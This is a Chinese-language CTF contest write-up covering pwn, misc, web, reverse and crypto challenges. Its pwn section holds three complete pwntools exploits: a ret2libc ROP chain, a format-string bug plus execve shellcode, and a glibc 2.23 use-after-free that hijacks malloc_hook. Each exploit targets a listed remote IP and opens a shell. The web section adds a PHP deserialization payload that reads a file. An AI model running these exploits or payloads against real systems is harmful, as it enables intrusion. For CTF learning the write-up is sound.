天津市大学生信息安全网络攻防大赛【CTF解题赛】 wp

PWN:

skill:

GLIBC 2.23-0ubuntu11.3
菜单下面就只有add()有用,可以修改bss段上内容以符合后续show()里面比较函数
后续就是ret2libc模板题,注意libc小版本
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("47.106.35.54",46655)
# io=process("./skill")
elf=ELF("./skill")
libc=ELF("libc.so")

pop_rdi=0x400c83 
ret=0x400297

def add(cc):
    io.sendlineafter(b"exit\n",b"1")
    io.sendlineafter(b"Input your skill: \n",cc)

payload=b"song"+b"\x00"*0xc+b"\x00"*4+b"jump"+b"\x00"*4+b"\x00"*0xc+b"rap\x00\x00\x00\x00\x00"+b"\x00"*0xc+b"NBA"
add(payload)

# gdb.attach(io)
# pause()

io.sendlineafter(b"exit\n",b"4")
payload=cyclic(0x18)+p64(pop_rdi)+p64(elf.got[b"puts"])+p64(elf.plt[b"puts"])+p64(0x4008b6)
io.sendline(payload)

leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: "+hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))

io.sendlineafter(b"exit\n",b"4")

io.recvuntil(b"music~\n")

payload=cyclic(0x18)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
io.sendline(payload)


io.interactive()

# Gadgets information
# ============================================================
# 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c80 : pop r14 ; pop r15 ; ret
# 0x0000000000400c82 : pop r15 ; ret
# 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400820 : pop rbp ; ret
# 0x0000000000400c83 : pop rdi ; ret
# 0x0000000000400c81 : pop rsi ; pop r15 ; ret
# 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400297 : ret
# 0x00000000004007a2 : ret 0x2018

# Unique gadgets found: 12

dragon_game:

绕过一连串判断函数,最后进入到sub_400A5D在rwx段上写shellcode
有长度限制,可以上exploit-db找
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("47.106.8.27",46460)
# io=process("./dragon_game")
elf=ELF("./dragon_game")

io.recvuntil(b"is ")
leak_addr=int(io.recvuntil("\n")[:-1],16)
print("leak_addr: "+hex(leak_addr))


io.recvuntil(b"t?:\n")
io.sendline(b"east")

io.recvuntil(b"address'\n")
io.sendline(str(leak_addr))

io.recvuntil(b"is:\n")
payload="%{}c%{}$n".format(233,7)
io.sendline(payload)

shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

io.recvuntil(b"LL\n")
io.send(shellcode)

io.interactive()

consolidate:

GLIBC 2.23-0ubuntu11.3(注意小版本,否则one_gadget最后不通
UAF,可以edit after free
dup+修改fd低字节+fake chunk修改size泄露libc
然后最后劫持malloc_hook打one_gadget,注意realloc调栈
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=remote("47.106.8.27",48046)
# io=process("./consolidate")
libc=ELF("libc-2.23.so")
# elf=ELF("./consolidate")
# one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget=[0x45226,0x4527a,0xf03a4,0xf1247]

def add(cc):
    io.sendlineafter(b"choice\n",b"1")
    io.sendafter(b"content\n",cc)

def delete(n):
    io.sendlineafter(b"choice\n",b"2")
    io.sendlineafter(b"idx\n",str(n))
    
def edit(n,cc):
    io.sendlineafter(b"choice\n",b"3")
    io.sendlineafter(b"idx\n",str(n))
    io.sendafter(b"content\n",cc)

def show(n):
    io.sendlineafter(b"choice\n",b"4")
    io.sendlineafter(b"idx\n",str(n))

# gdb.attach(io)
# pause()

add(b"a") #0
add(b"b") #1
add(b"c") #2
add(b"d") #3
add(b"e") #4

# edit(0,cyclic(0x60))

delete(0)
delete(1)
delete(0)
edit(0,b"\xa0")
add(b"a")
# delete(1)
edit(1,p64(0)*5+p64(0x71))
# delete(1)

add(cyclic(0x38)+p64(0xe1))
delete(2)
show(2)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x68-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
realloc=leak_addr+libc.sym[b"__libc_realloc"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
shell=leak_addr+one_gadget[1]

delete(0)
# delete(1)
# delete(0)

edit(0,p64(malloc_hook-0x23))
# add(b"a")
add(b"a")
add(cyclic(0xb)+p64(shell)+p64(realloc+0x10))


io.sendlineafter(b"choice\n",b"1")


io.interactive()

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL

MISC:

embarrass:

流量包strings 直接跑出来flag

Basic type

直接用随波逐流工具直接一把梭哈,可以得到flag图片

run

打开附件发现是word,然后进行foremost分离出来这些图片

把exe那个拖进ida,发现有一串密文

然后出现一个图片,图片发现是两个图层,然后发现有一个解密逻辑

然后写一个脚本即可

str = 'njCp1HJBPLVTxcMhUHDPwE7mPW'
flag = ''
for i in range(1, len(str)+1):
    if i % 2 == 0:
        flag += chr(ord(str[i-1]) + 1)
    else:
        flag += chr(ord(str[i-1]) - 1)
print(flag)

web

missing_php

这题上扫描 扫出/.index.php.swp这个目录

然后直接访问 /fl4444444g就出flag了

序列化

源码里面有一个这个

然后用BP抓包发现cookie里面有两个值,把list进行urldecode发现传入的参数都被当做数组序列化了

然后根据这个构造一个POC脚本

<?php
$a=[];
Class whatthefuck{
    public $source;
    public function __construct()
    {
        $this->source = "flag.php";
    }
	public function __toString()
	{
		return highlight_file($this->source,true);
	}
}
$a[0]=new whatthefuck;
echo serialize($a);

然后跑出payload(a:1:{i:0;O:11:"whatthefuck":1:{s:6:"source";s:8:"flag.php";}})进行一次urlencode编码,改cookie的list值即可

Reverse

easyCrack

将exe文件脱机脱壳机,一键脱壳

然后将脱好的exe脱机ida里面,然后找到主函数发现加密逻辑

然后在str2找到密文

然后写一个脚本就ok了

ans="hboiuFk|kGocs"
flag=""
for i in range(12,-1,-1):
    s=ord(ans[i])
    s^=14
    flag+=chr(s)
print(flag[::-1])

Crpyto

xor

进行一次base64解码,然后进行亦或爆破直接出flag了